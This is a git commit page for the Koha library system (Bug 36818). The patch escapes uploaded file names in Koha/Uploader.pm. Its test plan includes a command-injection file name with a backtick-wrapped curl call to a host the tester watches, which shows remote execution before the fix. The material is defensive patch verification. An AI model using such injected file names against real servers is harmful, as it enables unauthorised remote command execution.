]> git.koha-community.org Git - koha.git/commit
Bug 36818: Escape characters in file names uploaded
authorChris Cormack <chris@bigballofwax.co.nz>
Wed, 8 May 2024 22:41:43 +0000 (22:41 +0000)
committerFridolin Somers <fridolin.somers@biblibre.com>
Thu, 6 Jun 2024 08:49:20 +0000 (10:49 +0200)
commitcbb2fd5c010da180b3439f6ad978514d66cadc63
tree76ce420b8696ac218512802c687409801f208baa
parentc1c603731d44e16b33b964f52515dd66f8931ab9
Bug 36818: Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works

Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
(cherry picked from commit 14bdaae3f257a321f8ec0d32c6b1e9bc6ed6033d)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
Koha/Uploader.pm